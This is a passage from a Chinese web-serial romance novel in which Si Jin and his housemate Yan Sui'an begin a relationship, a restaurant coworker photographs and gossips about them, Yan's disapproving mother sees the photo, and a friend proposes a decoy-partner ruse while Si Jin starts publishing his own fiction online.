司淑美也不知道该说什么,她这个弟弟从小就不怎么跟人交往相处,她原先还以为他会一直寡着,现在可算是谈了恋爱,虽然这个对象的性别让她有些诧异,但她也并不打算多管闲事,反正只要司谨自己喜欢就可以。 两人在楼下分别,司谨拎着袋子心事重重回了九号楼。 进门换了鞋,他将饭菜放在桌上,正准备去敲燕绥安的房门,却发现门是半掩着的。 思忖片刻他还是在门上象征性地敲了敲,然后就准备转身离开,结果还没走出去一步,房间里头就传出了急促的脚步声。 身后覆上温暖的高大身躯,低沉黏腻的声线微微拖长了音,喊他:“宝宝。” 司谨后背一麻,转头想要看过去,可下一秒就踉踉跄跄被他给拖进了房间里。 “你干什么?” 房间里没开灯,司谨被他扣在怀里,因为看不见身后人的脸,莫名就感觉到紧张。 微微挣扎一下,等燕绥安松开了手臂他才得以转身,只是刚看清楚对方此时的模样,便又被扣着腰抵上来,身体牢牢贴在一起。 “宝宝……”燕绥安可怜兮兮地看着他,“我表现得好不好?” 司谨的手搭在他肩膀上,不知道该不该推开,半天只好说:“很好,这次的事情要谢谢你。” “不要口头感谢。”燕绥安说着从他肩上抬起头,一双锋利的眼眸含着显而易见的欲色,“宝宝亲我一下,给我奖励。” 听见他的话,司谨下意识抿住嘴唇,想要摇头,可是抬起眼睛看见燕绥安可怜的样子还是不太忍心,纠结了好半天,他才犹豫着抬头,在对方的唇上轻轻啄吻一下。 眨眼的功夫又退开,轻飘飘的力度几乎感觉不到,正要退开时,燕绥安用手掌扣住了他的后脑勺,很激动似的又凑了过来,蹭了蹭他的鼻尖。 “你……” 司谨想要偏开头却做不到,只能微抬着眼睛去看他,黑白分明的瞳孔中满是委屈和控诉。 呼吸几乎交织在一起,燕绥安的呼吸很重,刚洗过的头发还湿润,往肩上坠着水珠,却不管不顾,只捧着怀里的人,着急又激动问:“可不可以?就亲一下,宝宝。” 司谨看见他这副样子,其实是很想笑的,实在是太像一只撒娇求欢的大狗了。 但因此,这两天紧绷焦躁的心情随之终于完全轻松下来,一时间,眼前的人似乎和他曾经幻想出的那个形象重合在了一起。 那种从知道网恋账号下的人就是燕绥安时产生的割裂感,在此刻似乎也完全消失了。 抵在燕绥安肩上的手卸了力气,他垂下眼眸,声音很小。 “嗯。” 燕绥安只怔了不到一秒,偌大的欣喜就席卷了心脏,使得它几乎克制不住心中翻涌的情绪,捧着面前人的脸颊,又重又急吻上了那红润漂亮的嘴唇。 第39章 房间里的窗帘紧紧拉着,隔绝了外头的光线,也将房间里的声音都堵在了里面。 暧昧的水泽声断断续续,还夹杂着急促喘息中轻微的轻吟声。 分开时呼吸很重,司谨的舌尖和唇瓣都断断续续发麻,脑子里的想法运转迟钝,只能感觉到捧着脸颊的手还在轻轻摩挲。 燕绥安长长松了一口气,控制不住似的又在他唇瓣上吻了吻,见司谨没有躲开,忍不住低声夸赞。 “宝宝,好乖。” 司谨没有什么太明显的表情,可耳根已经红到滴血,鬓发被揉乱,身上沾染着他的气味。 好喜欢。 燕绥安忍不住又把他抱进怀里,嗅着他颈侧淡淡的香气,心中是前所未有的安定。 不知过了多久,司谨终于回神,不好意思地推了推他:“饭要凉了。” 燕绥安收紧手臂,在他肩上深深吸了口气,这才不情不愿起身。 带着人出了房间,司谨松口气,拿上换洗衣服去浴室里,却从镜子里看见了自己色泽过红的唇,不禁偏开视线,可洗完澡出去时,又觉得这副画面似曾相识。 穿着拖鞋出门,他用毛巾擦拭着头发,看见燕绥安已经吃完饭收拾包装,猛地就回忆起了上次醉酒的事情。 “燕绥安。”他下意识出声,自己又被吓了一跳。 “嗯?” 男人抬起头,看见他穿着单薄衣服站在门口,头上盖着毛巾只露出一张白里透红小脸的模样,目光又带上了几分炙热。 司谨忙垂眸避开目光,接着又忙道:“你上次送我回来,是不是偷偷……” 后面的话不好意思说出口,可燕绥安的表情一下变得有些尴尬,就让他知道了问题的答案。 燕绥安忙起身朝他走来,难得紧张道:“我不是故意的。” 原本司谨是没多生气的,可是听了他这话却一下子蹙紧眉头,又无语又好笑:“难道还是意外吗?” 他可不信偶像剧里面那种不小心摔跤,主角嘴巴就贴在一起的剧情。 燕绥安不免心虚,只好跟他卖乖:“我忍不住,宝宝太漂亮了,而且喝醉了还叫我老公,那么乖。” 司谨的脸猛地涨红,“我才没有。” “就是有。”燕绥安眯起眼睛,没让他退缩,“之前还喊过几声,到了现实里反而嫌弃我,只叫我大名。” 司谨难为情地撇开脸,心说自己就不该问,半天没办法只能催促他去吃饭。 “我要去洗衣服,下午还要上班。” 燕绥安一听这话人都傻了:“忙了一整天不好好休息,一下午的班都得去?” 司谨也没指望他能理解,小声说:“我这段时间请假太多了,下午又没什么事还是得去,一堆事没处理呢。” “不是可以居家办公吗?” “那不一样。” 得知司谨下午不在家,燕绥安一下子没了劲,这会儿也不困了。 等里头的人收拾好出来晾洗衣机里晒好的衣服,燕绥安便道:“我送你去,正好我去趟公司。” 司谨:“你还是在家里休息吧,开了这么久的车,昨天晚上又很晚睡。” “没事,我也处理点事情。” 他都这么说了,司谨也没办法拒绝- 抵达公司以后正好赶上编辑组开会,司谨坐在会议室里胆战心惊,结束的时候果然被留了下来。 被侧面敲打了请假的事情,他终于得以离开,心叹好在家里的事情差不多算是解决了,任由他们反应过来再生气也不可能往海城赶来。 更何况……在他们的眼里,如今的二姐就是个天大的麻烦。 一周的努力工作很快结束,周五晚上司谨带着二姐去逛了附近的商场,这段时间里二姐也逐渐对周围了解不少,兴冲冲和他分享自己工作的事情,整个人状态好了许多。 次日上午司谨起床,发觉燕绥安居然早起在客厅健身,不免有些防备,只得提前告知他自己周末依旧要去一粟兼职。 果然,燕绥安听见这消息脸瞬间黑了下来,不高兴三个大字几乎要写在脸上。 司谨也没办法,跟他解释兼职又废了很长时间,告诉他这份兼职来之不易,而且上班时间又很短,等他下了班就可以回家休息。 说了好半天,燕绥安也没松口气的意思,幽怨地看着他,眼神里仿佛带着某种暗示。 自从打余城回来那天,燕绥安就总是用这种意味不明的眼神盯着他,像是觊觎猎物的野兽,莫名发凶。 司谨想要装作没看懂,可是想到他一会儿可能又会生气,便只能过去抽了张纸巾,给他擦了擦额角的汗珠。 “你今天没有事情做吗?” 见他主动过来,燕绥安便也没有忍耐,伸手将他圈进怀里,分明是一副委屈可怜的表情,却不让人觉得心疼,反而有种被盯住的发毛感。 “周末能有什么事。” 司谨嘴笨不知道该说什么,只好承诺自己会早一点回来。 “冰箱里的食材少了很多,要不我们下午去买点吧。” 燕绥安一听这话,面上总算流露出了几分喜悦:“好啊,我还想添置点家具。” “加什么?”司谨好奇。 “摇椅,再买点装饰品。” 司谨自然不会多说什么,点头答应下来,看着时间不早了,这才试探着去扯他的手:“那我去收拾一下上班了。” 燕绥安没动,还垂着眸看着他。 几秒过后,还是司谨先妥协,踮起脚尖凑过去在他唇上亲了一口。 故作冰冷的面容总算放松下来,燕绥安手掌揉了揉他的脑袋,叹口气:“去吧。”- 餐厅一到周末就很忙,这天中午来了两个探店博主,据说粉丝量都很大,让餐厅的员工都进入了戒备状态。 直到高峰期结束,众人才开始收拾卫生,司谨收拾过后下班,一出门便撞见了来接自己的燕绥安。 抵达商场采购一番,司谨路过品牌店难得停住了脚步,想要去里头买一套新衣服穿,刚提出这个想法,便被燕绥安揽着肩带了进去。 “之前只给你买了冬装,开春以后暖了,那些也穿不了,是该买新衣服。” 司谨其实也是想帮二姐带一件回去,这会儿听见燕绥安的话下意识就想要拒绝,可猜到他会不高兴,灵机一动便改变了说辞。 “那我给你也买一件吧,我给你挑,好不好?” 转换了一种方法,燕绥安果然高兴点头:“好啊。” 司谨松口气,认认真真回想燕绥安平时的穿衣风格,又觉得这里的好像都很合适,半天还是找了一件浅绿色的冲锋衣去给他比划。 “感觉很适合春天去爬山和徒步。” 燕绥安只在镜子里看了不到两秒便满意的不行:“我喜欢。” 他当即决定负完全就套上,直接穿着走。 司谨有些无奈想笑,但还没来得及劝他,便被燕绥安摁在了镜子前。 “我们买同款好不好?宝宝。”燕绥安在后面偷偷喊他,没让服务生听见。 司谨眨眨眼,不禁犹豫:“可是我没有穿过这种类型。” 他平时要么就是工作要么就是待在家里,对着装没有太多的要求,基本上都是以舒服为主。 “有机会的,我们下周可以一起去爬山。”燕绥安很期待,在那些颜色里找了件橙黄色的,“宝宝试试这件。” 拗不过他,司谨只好脱掉外套换上,外套颜色偏向黄,鲜艳漂亮,衬得他皮肤瓷白干净。 “好像还可以。” 燕绥安就等他这句话,当即要去付钱,被司谨给拽住了。 “不行,你的那件是我送的,我付钱。” 燕绥安很纠结,可是他也的确想要穿司谨给自己买的衣服,看了眼价格不是太高,便答应了。 之后司谨又给二姐挑了件外套,两人便就这么穿着出了门。 离开商场,燕绥安主动拎过袋子,另一只手去摸他垂在身侧的手。 司谨被他吓了一跳,忍不住说:“这么多人呢。” “怕什么?”燕绥安又露出那种难过的表情,“我跟我老婆牵手都不行吗?挨着谁了。” “你别这样叫我。”司谨本就是腼腆害羞的性格,可是这会儿也不想真的叫他不高兴。 他正犹豫着,燕绥安却找到了方法,拆了只口罩俯身给他戴上。 “这样总不会难为情了吧,别人都看不见你。”燕绥安给他戴上,对上那双清澈的漂亮眼睛,一时心动,见四下无人便俯身在他额头上亲了一口,“也没事,只给我看。” 司谨眼睛一下睁大了,拍开他的手,却被他一把抓住牵在身边。 “好了,吃个饭咱们买家具去。” “……” 逛了一晚上,等到晚上回到家里,看见燕绥安还兴致冲冲自己组装那些奇形怪状的柜子,司谨忍不住感叹他精力旺盛。 等他洗过澡出来,发觉燕绥安已经把所有东西都归位了,这会儿站在摇椅边上,一副邀功的表情。 “宝宝,感受一下。” 司谨有点想笑:“你怎么不试?” “我身上脏,刚擦过。” 司谨过去躺下,双腿腾空晃了晃,倒是觉得很舒服。 “挺好的,很结实。” 他说完转头去看边上,又想到那两个歪来歪去的柜子,便问:“柜子放进房间了吗?” “嗯,去看看?” 虽然不知道有什么可看的,司谨还是起身跟着他朝着房间走去。 “怎么放在我房间了?” “你一个我一个。”燕绥安表情认真,“这叫情侣柜。” 司谨:“……” 他不知道该说什么,这些天燕绥安重复情侣的频率变得很高,即便他们只会做那些情侣会做的事情,好像燕绥安也没有任何安心的感觉。 只是如果他主动和燕绥安提两个人之间的关系,每一次又会被燕绥安给打断,他似乎只想要提醒,但并不想要再敞开聊一聊,是担心得到自己不想听见的回应。 司谨沉思两秒,还是说:“那个,你想聊一下吗?” 果然,燕绥安一听这话便变了脸色,立马后退半步:“我身上太脏了,我得去洗个澡。” 司谨:“……” “宝宝你早点休息,明天还得上班。” 砰的一声,房间门在面前轻轻关上,司谨听着外面逐渐走远的急促脚步声,忽然控制不住轻笑出声- 次日餐厅。 司谨在休息室收拾柜子里的杂物,身后走廊的笑闹声由远及近。 “刘哥休息干什么去了?” “还能干嘛?咱们能有什么娱乐项目,一觉睡到大中午。” “唉,听说这几天中心湖那边会有灯光秀,回头我可得带女朋友去看看。” “……” 司谨换好衣服出门,到了前台从口袋里掏出几根便携装的牛肉条递给彭露。 “谢谢投喂啊。”彭露冲他眨眨眼,惊喜收下。 司谨笑了笑:“程姐最近心情好像不错,是准备走了吗?” “应该是吧,我听说……”彭露压低声音凑过来,“我是听说啊,程姐有意向开一粟的加盟店,但不知道是不是资金有压力还是怎么回事,到现在也没声了。” 司谨了然:“在海城开应该很难,这边都被店长……” “别说了。” 后面忽然传来脚步声,彭露小声提醒他。 司谨闻言噤声,同她交换了一个眼神,便上楼去负责的包间区域帮忙了。 看着他离开,刘有意才看看左右两边的人,几人往没什么人的大厅张望,一副有话说的架势,彭露皱皱眉头,她本就不太喜欢刘有意这一群人,现在见他们都聚在这里更是无语:“你们干什么?” “聊八卦啊。”有人嬉笑着说,“刘哥说他发现了一件事,关于小司的。” 听见前半句时彭露并不感兴趣,但紧接着就顿住,警惕地看了刘有意一眼:“你又要瞎说什么?” “我可不是瞎说,亲眼所见!”刘有意扯着脖子小声喊,接着又说,“我上回送餐的时候,就看见小司跟我们店那个会员客人一起进了小区,两个人靠在一起可亲密的样子了。” 彭露的脸一下子沉了下来:“就知道你嘴里没一句正经话。” 她将擦桌子的抹布丢在刘有意面前,被他给手忙脚乱接住了。 “我怎么是瞎说,我不是要将小司不好,是我昨天休息的时候看见跟他在一起的那人客人,跟其他人在商场里头牵着手。” 刘有意说完,周围人都露出了困惑表情。 “怎么什么都能被你给遇上。”彭露只觉得他又在瞎扯。 刘有意不服气,忙道:“是真的,两个人在商场里头亲来亲去的,我还拍照了。” 此话一出,两边的人开始起哄,彭露也露出不敢相信的表情。 “假的吧。” 刘有意是个要面子的,当即找出手机,找到昨天拍的那张照片。 因为距离太远,所以图片稍显模糊,不过放大以后那张侧对着镜头的脸还是很醒目,穿着浅绿色衣服的男人正俯身去亲另一个男人的额头,光是一张照片就能让人感受到那种亲密的氛围。 “同性恋啊。”有人惊奇地喊了一声。 彭露看了一会儿,因为几乎看不见脸且只有半个身体,所以也认不出来那戴着口罩的男人是谁。 “我没骗你吧。”刘有意有些得意,“我这可不是有什么坏心思,但你说这男的是不是脚踏两条船啊?” “你怎么就知道小司跟他是那种关系?”彭露没好气地说了句,“况且这是别人的私生活,和你有什么关系。” 刘有意还想说什么,身后却传来微冷的女声。 “有人接待吗?” 几人都被吓了一跳,猛地转身看过去,才发现刚才有位客人不知什么时候进来了,也许是在这站了一会还没看见有人接待,所以直接到前台来了。 “有的,这位女士。”彭露连忙露出笑容,“您几位?” 她说话时扫了眼女人的穿着打扮,优雅知性,看起来倒是有些眼熟。 “我一个人。” “好,给您安排大厅的位置可以吗?” “可以。”女人说着指向刘有意,“就要他服务。” “好的,小刘带客人过去。” 刘有意忙点头答应,带着客人去了窗边位置,正松口气准备开始工作,却见刚坐下的女人冲他伸出手。 “麻烦你把刚才那张照片给我看看。” 刘有意一怔:“抱歉……” 他话还未说完,女人便摘了墨镜,慢条斯理道:“照片上的人是我儿子。” 刘有意脸色一变,想了想便还是找出手机,屏幕上那张照片还没退出,女人接过手机,认认真真打量几秒,脸色变得有些苍白。 “麻烦你把这张照片传给我。” 刘有意莫名心里头有些激动,但又不安起来。 传完照片,女人便没再理会他,自顾自又放大了那张照片,表情愈发难看- 司谨忙完包间的事情,送客人下楼出门,送完客一回来就看见站在前台柜的彭露正冲他使眼色。 但还没等他过去,不远处就传来了熟悉的呼喊。 “小谨。” 司谨一怔,扭头瞧见封阿姨坐在窗边位置,脸上露出了些许笑容,连忙快步过去。 “封阿姨,你来海城找燕绥安吗?” 听见他提起自己儿子,封冉悦面上的笑容淡了些,说:“忙些别的事情,来和我们姐妹聚会的。” 司谨了然点头,看了一眼她面前没怎么动的菜品,关切道:“这些不合您胃口吗?要不要试试其他的。” “不用,是我没什么食欲。”封冉悦叹口气,示意他坐在对面。 司谨犹豫片刻,看出她的心情不太好,便还是没有在这种时候和她说规矩,径直在对面坐下。 “小谨,你最近工作忙吗?和绥安见面时间还多不多?” 司谨的心一下子提起来,谨慎回答:“还是和以前一样,就偶尔晚上能见到,燕绥安看着也挺忙的。” “他忙?”封冉悦想到那张照片,唇角的笑容变得苦涩起来。 不知道她到底是怎么了,司谨没敢多说话,只安安静静等着她开口。 “按理说,自己儿子在海城,路过总要去看看,和他谈谈心聊聊天,可是他也并不欢迎我。”封冉悦喃喃道,“什么事也不和家里说。” 司谨小声建议:“您可以提前给他打个电话,提前有准备的话可能就不那么排斥了。” 封冉悦听后却是一怔:“提前做准备?他需要准备什么吗?我是他妈妈,自己家里的人见面,难道还要提前做好预防什么的准备?” 司谨一下沉默了。 反应过来,封冉悦舒口气,无奈笑笑:“抱歉小谨,又和你说了这么多,阿姨这就给他打个电话问问。” “好。” 司谨借口自己还有事情,便借口起身离开。 去前台点了一份开胃的果汁让送去封阿姨那,司谨这才去后面洗手收拾。 等他再出来,封阿姨已经打完电话,桌上的果汁见了底,拎着包起身准备离开。 司谨快步上前送她出门,封阿姨没再和他多说什么,只告知他自己现在要去找燕绥安。 看着人上车,司谨盯着那方向看了许久,缓缓松了口气。 不知为何,他总觉得封阿姨的心情不是很好。 回到了餐厅,他瞧见正在帮忙收拾卫生的刘有意和其他两个服务生都用怪异的眼神看着他,只觉得他们肯定又在背后聊自己的事情了。 并没放在心上,只是回到休息间,才发觉彭露已经在里头等待他。 “司谨。” “有事吗?” “也没什么。”彭露不着痕迹问,“就是刘有意他们又在那讨论你的事情,说上次晚上送餐的时候遇见你和另一个男的进小区。” 她说完,看见司谨蹙紧眉头,便抢先一步控诉道:“他们真是闲得慌,看见什么都有的说,我看刘有意早晚有一天又要因为这件事被程姐罚。” 司谨回想起那天晚上是他和宋晓西去吃饭,回去的路上正好遇见燕绥安下来,那时候的确察觉到身后好像有人盯着,没想到这人是刘有意。 他并没放在心上,只说:“那是我室友,我们本来就住在一起。” “原来是这样。” 彭露听完更是生气:“他们真的就知道瞎猜。” “没关系,不用理会他。”司谨收拾完东西,“我要回家了。” 彭露看了眼时间:“你这周晚上都不来了吗?我可是很怀念我们下了班一起去吃夜宵呢。” 司谨想到原因,脸颊微妙泛起了淡红,“最近没有时间,要早点回去。” 回晚了的话,燕绥安估计又要有意见。 正好封阿姨现在过去找燕绥安,他正好可以去看看二姐,顺便把给她买的衣服带过去- 到了二姐那,司谨原本还准备不进门的,结果二姐已经和两个室友混熟了,三个女孩年纪都比司谨要大,这会儿拽着他坐在地毯上,便要他给二姐练手。 司谨有点不好意思:“我头发这么短,做不了什么造型的。” 司淑美啧他一声:“乖乖坐着就行了,我就是要练习男士的发型,给你烫个小卷毛怎么样?” “都可以。”司谨没办法,只好默默接受。 司淑美的动作很快也很熟练,看得出来的确是老手。 不过一个小时,司谨连带着她的两个室友都变成了一头精致卷发。 “完美!” “真的太会弄了吧,等我们晚上去湖边公园玩好了,那里会放烟花。” “可以啊,还能拍照,正好美美帮我们做了造型。” “行,那我也给自己捯饬捯饬。” 司谨听着她们激烈讨论搜索拍照角度教程,小声说自己要回家,偷摸着拎上包跑了。 下了楼才松口气,他调出前置摄像头看了一眼头顶的小卷发,有点儿无奈,其实不难看,就是不太习惯。 等坐着电梯回到了2202,他到门前才又紧张起来,思考封阿姨会不会还在里面。 开了门,里头一片安静。 他进了客厅看见燕绥安正躺在沙发上,手背搭在额前,遮住了眼睛,看起来像是睡着了。 下意识放轻了脚步,他回到房间放了东西,去洗过手换好衣服才出去,原本是准备给燕绥安盖个毯子,走到跟前正将毯子抖开,手腕就被捉住朝前扯去。 躲闪不急,他直接栽进了燕绥安怀里。 “你没睡着啊。” 燕绥安把他揽进怀里,声音懒懒的:“发会呆,我妈刚来过。” “我知道。”司谨在他怀里挣扎一下,最后还是找了个舒服的姿势躺着,跟他说了餐厅发生的事情。 燕绥安倒是没什么反应,只嗯了声。 “封阿姨和你说什么了吗?” “每次不就是说那些。” “好吧,那她也是关心你,反正她也不是经常来。” 司谨说到这里,忽然间想起来,今天封阿姨在餐厅那样温柔和他说话的时候,其实他是很心虚的。 察觉到了他的犹豫,燕绥安忽然侧首朝他看过来,修长手指圈住他的一缕卷发绕了绕。 “二姐给你做的造型?” 司谨点头:“是不是有点奇怪。” “不奇怪,很可爱。”燕绥安眸中浮现笑意,凑过来吻住他的嘴唇,舌尖抵进去前声音含混不清唤了声,“小卷毛。” 司谨内心挣扎一下,还是没有动,乖乖顺着他的动作微张开嘴唇。 “……” 听见怀中人的呼吸变得急促,燕绥安下意识睁开眼,看着司谨闭着眼睛听话迎接他的模样,心脏像是落下了重击。 轻颤的睫羽纤长,仿佛变成了小扇子,那力道也酥酥麻麻挠进了他柔软的心脏内壁。 一小时前,母亲拿着那张不知何时拍下的照片控诉他,说的那些话锋利而无情,此时在脑海中无限盘旋,可最后都被怀中人不自觉发出的声音所覆盖。 那又怎样? 他想,管他男的女的,反正这辈子就认定司谨了。 好不容易握在手里的宝贝,他不能再让他伤心难过。 一点委屈都不能够再受。 第40章 燕绥安最近似乎很忙,司谨不太清楚他的事情,只以为是关于工作,所以也没有多问。 不过他最近工作也不是很顺利,风浪原本也是很出名的网站,可这个月的稿费忽然迟发,惹得许多作者不停发消息催促,他这边处理回复着,另一边网上的帖子已经爆火了。 被挂出去的截图并没有裁剪掉花名,作者的情绪比较激动,帖子热度一路高涨。 临下班,司谨被喊去谈话。 “你这边是怎么安抚的?现在弄成这样,对公司影响很大。” “我已经努力了。”司谨垂着头,“但是作者的稿费迟迟没有到账,肯定也是着急的,发帖的作者也不止一个。” “可是其他的都没你这个影响这么大!” 被训了一顿,司谨才得以离开办公室。 回到了家里,燕绥安果然不在,他一通洗漱躺在床上,忽然就有些气馁,觉得这份工作真没意思。 无数的情绪在胸膛中乱窜,使得他的心难以平静,躺平片刻鬼使神差从床上起来,披上外套坐在了书桌前,点开文档继续描写后面的剧情故事。 夜晚房间静谧,只剩手指飞快敲击薄膜键盘的声音。 不知过去了多久,外头传来解锁声,司谨才骤然回神,看着屏幕上密密麻麻的小字,这才后知后觉感觉到了思维透支的疲惫感。 房门被轻叩两声,燕绥安在外面问:“宝宝,睡了吗?” “还没。” 得到答复,外头的人推开门进来,见他正曲起腿坐在桌前,有些诧异。 “还在忙工作?” “不是。”司谨其实很不好意思给别人看自己写的东西,有一种莫名的羞耻感,可不知道为什么,他能想到最合适的人也就只有燕绥安了。 于是在燕绥安过来时他还是没有阻止,反而将屏幕转向对方。 “睡不着,写了点后续,按照我的大纲差不多快要完结了,你要不要看看?” 燕绥安受宠若惊:“好啊。” 司谨坐在边上回复消息,他便认认真真从头开始看。 不过二十分钟,司谨正盯着屏幕愣神,就被身边的人一把揽住了肩膀。 燕绥安俯身凑过来,在他柔软的脸颊上重重亲了一口。 “宝宝,你也太会写了吧。” 司谨脸猛地涨红,忍不住去推他:“你别随便夸我,我要的是很中肯的评价。” “我很认真的。”燕绥安想贴着他,奈何被嫌弃了,只得认真表情,“你这个世界观很有意思,虽然感情线是比较大热的强取豪夺,但剧情线也很吸引人,我觉得……有大火之姿。” 司谨被他夸得不好意思了,但还是不太敢信:“真的吗?” “放心,我不会信口胡说的,比起现在让你因为夸奖高兴,我更不想让你发出去以后因为没有达到预期而失望。” 司谨抿抿唇。 “可以试试的。”燕绥安眸中含着笑意,“宝宝也很想当作者吧。” 每天看着别人的稿件,他总是能给出最中肯的修改建议,而自己的作品尘封在文件夹最底部,只有忙碌的工作结束以后才能写上几句。 糅杂了这样多情感的一篇文,总不能真的一直藏着不给人看。 司谨被他说动了,居然真的点点头。 “好。”- 之后的两天,司谨肉眼可见忙碌起来,平时只是工作忙,但下班时间都很自由,但现在下了班就往房间里钻,盯着电脑修文改文,顺便研究不同的网站风格。 燕绥安看着这一幕,莫名感到淡淡的后悔。 不过没多久大哥要来海城的消息传来,他猜出是为了什么,也再没时间去骚扰司谨了。 裴落结束工作非拉着他去酒吧坐坐,打着替他出谋划策的主意,实际上到了以后便开始沾花惹草。 燕绥安脸色黑沉,看了眼时间当即决定起身离开,又被裴落给压着肩膀按回了座位上。 “走什么走啊,我这不是在帮你筛选吗?” 燕绥安:“……” 他满脸都是怀疑,裴落也不生气,分析起来:“我猜这次你大哥来,你妈肯定也是跟着的,说不准还会让你把对象带回去看看。” 燕绥安脸色微变:“我不会带他去的。” 虽然不清楚大哥的想法,但他知道母亲对于他喜欢男人这件事还无法接受,这种情况带着司谨去见他们,肯定会让司谨受委屈。 “是啊,我就知道你是这个想法,所以你可以先带另一个回去给他们看。” 裴落话音刚落,燕绥安的表情就变得更难看了,咬着牙道:“你以为我是你?脚踏n条船。” “啧,你怎么还人身攻击呢?”裴落满脸委屈,“我又不是真叫你再去谈一个,我是说先找一个回去试探一下,其实你们家小谨人挺好的啊,又上进又漂亮,你妈原先见了他不是也挺喜欢。” 燕绥安觉得头疼:“我妈是挺喜欢他,但如果知道和我在一起的就是他,就不是这么回事了。” “不就是这个道理吗?所以你先找个歪瓜裂枣回去膈应膈应他们,不都说想开窗就得先把房子拆了吗?给他们一个对比,以后你再把司谨带回家,这么对比之下他们还能有什么意见,指不定觉得自己儿子终于变正常了,还得把功劳归到小谨身上,对他喜欢的不行呢。” 这话倒是说到燕绥安心上了。 其实他很清楚,司谨的家庭不太好,所以司谨肯定也不会希望影响到他的家庭和睦,如果之后能顺理成章带着司谨回家去,肯定能让司谨更加安心。 而前提就是,他家里人必须先接受司谨,他肯定不能让自己男朋友跟着回家受气。 思考良久,他看向边上的裴落,说:“你这主意倒是不错,但太歪的也不行。” “行,知道你对外貌有要求了,不过你看上长得难看的也不太科学不是。”裴落揽着他的肩膀,示意他去看舞池里头摇头晃脑的人,“你家还是挺传统的,其实这种类型带回去正好,你见过那种特别娇的0吗?听说他们还往屁股上打针……” 燕绥安脸色难看:“我不好奇这些。” “行行行,我的意思是,你找个这种妖艳型的回去,他们肯定哭着喊着求你分手,之后闹大些肯定也不在意你到底喜欢男的女的了,是个正经人就行。” 裴落越说越来劲,连忙抬起头冲着对面招了招:“我给你介绍一个,这酒吧的营销。” 那人瞧见他抬起头便大步走了过来,在酒吧里头穿着露脐背心和超短裤,把腰扭得一晃一晃,上头搭着条金色的链子,灯光一打很显眼。 “裴少~” 裴落拍了拍他的后背,示意他看身边的人:“这是燕少,我朋友,打个招呼。” 近了燕绥安才看见他脸上化着妆,眼睛描得上挑,一听这话就朝他怀里凑:“燕少~” 燕绥安冷着脸避开:“你接活吗?” “啊?”小年轻面露诧异,后头的裴落哈哈大笑。 “他不是那意思,他最近遇见点麻烦,要找个人帮自己当挡箭牌,你乐不乐意?” “哎哟。”小年轻在酒吧见多识广,也大致猜到了些,“这我可接不了,我怕回头吵起架来把我脸给挠了。” 裴落:“那不至于,都是文明人,顶多骂几句,给你几百万让你离开他。” 小年轻闻言笑了起来,还以为他在开玩笑,但很快又想到什么似的:“不过你们需要的话,我可以介绍一个,也是我们酒吧的,长得挺好看,他人也义气,特别擅长这种事。” “行,你介绍给我。”裴落爽快答应下来。 等人走了,裴落看着燕绥安面无表情的样子,忍不住给他抛了个媚眼:“对穿搭有要求不?” 身边的兄弟半天没说话,他还以为是不满意,谁料燕绥安深思片刻却开始提要求。 “也不能太妖艳暴露,不然太假了。” 裴落啧一声:“行,我知道,至少得让你哥看出他身上有个吸引你的点吧,那脸必须不能太难看,这事交给我了。” 燕绥安还是放心的,不愿意在这乌烟瘴气的地方待太久,点头答应就借口上厕所起身溜了。 回到家的时候司谨正掩着门坐在电脑桌前,燕绥安从门口过没听见敲打键盘的声音有些好奇,便敲了敲进去。 “改完了?” 司谨扭头看过来,灯光下眼睛竟然微微泛着光。 “我刚才发出去了。” 燕绥安不免惊喜,快步过去将手撑在他椅背上,俯身去看屏幕。 十分钟前发布了几万字,不过还没有任何点击。 “第一步是成功迈出去了,要不要庆祝一下?” 司谨无奈笑了声:“还什么都没呢,以后再说吧。” “好吧。”燕绥安垂眸看着他睡衣领口透出的一截白皙脖颈,忍不住想凑下去埋一埋,但想到自己还没洗澡,又只能作罢。 关上电脑,司谨舒了口气,然后意识到什么,问:“你去酒吧了?” 他只是嗅到了燕绥安衣服上的酒气,随口一问,可这话落到燕绥安的耳中,却叫他立马紧张起来。 “嗯,陪着裴落去坐了半小时,我没喝酒。”说完顿了顿,又补充,“也没干别的,就跟他聊了会天,里头太吵了。” “哦。”司谨倒是没怎么在意,起身把电源关掉,“我准备要睡觉了。” 燕绥安蔫了下来:“又在赶我。” 司谨最受不了他这副模样,思考片刻只好问:“那你还不困吗?” “我想和你聊天,”燕绥安不要脸地说:“盖着被子纯聊天。” 司谨没说话。 他便又道:“情侣分居通常都是吵架了,我们感情不是一直都很好吗?为什么不可以抱着你睡。” 司谨害怕他之后再说更多话来,只好答应:“那你去洗澡吧,我……” 他看了一眼自己的床,想到主卧的床似乎要大上一些。 “就在你房间睡,好不好?”不等他说完,燕绥安急忙提议。 床小多好,还能贴近一点。 司谨不知道他抱着什么想法,干脆地点了头:“好。” 燕绥安这会儿倒是着急去洗澡了,走之前还忍不住搂着他的脑袋又在他脸上亲了亲。 听见主卧浴室的门砰一声关上,司谨露出点无奈笑意,去床上收拾了一下,把枕头挪到边上,腾出了半边的位置。 没多久外头就传来脚步声,房门关上,燕绥安什么也没拿穿着睡衣就进来了,掀开被子往里头一钻,就要来搂司谨。 司谨还抓着手机玩小游戏,被他一把抱住,有点儿艰难开口:“你怎么没有拿枕头?” 燕绥安当然不会说自己是故意的,小声道:“忘记了,我睡你的就行了。” 司谨觉得别扭:“一个枕头怎么睡两个人?” “我头又不大。”燕绥安随口瞎说,搂着他把枕头扯到了中间,然后高高兴兴抱着他看屏幕上的游戏。 “你还玩这个?” “嗯,无聊的时候玩一会。”司谨一走神就输了,他看着时间也不早,索性退出了游戏,设好闹钟准备休息。 燕绥安很上道地将灯关了,只留下床头一扇微弱的小夜灯,将他搂在怀里。 “你明天工作吗?”司谨有些困倦,说话也软绵绵的。 “嗯。”燕绥安有些心虚,还是说了,“我大哥来海城,明天中午和他吃顿饭,晚上我早点回来,做酸菜肥牛面好不好?我上次看见了教程。” 司谨点点头:“可以呀,正好大姐寄了一点她自己腌的酸菜和豆角,明天下班我去把快递拿回来。” “那……我去接你好不好?”燕绥安忍不住在他发顶蹭了蹭。 司谨嗯嗯两声,没有再说话。 房间里头一片安静,他背对着燕绥安,身体习惯性微微蜷着,半梦半醒之间忽然感觉到身后的人又贴近了一些,迷迷糊糊伸手去推。 “你硌到我了。” 燕绥安呼吸微滞,往后推了些,身体变得很烫,呼吸又沉又重洒在他的后颈。 司谨后背发麻,后知后觉反应过来那是什么东西,脸色一下子变了。 他不自觉睁开眼睛,想要说什么,可是又不好意思讲出来,最后只好闭上眼睛小声建议:“要不你还是回去睡吧。” “不要。”燕绥安嗓音有点哑,“睡吧,我也要睡了。” 司谨心说你这样真的睡得着吗?可是这个问题显然也很冒昧。 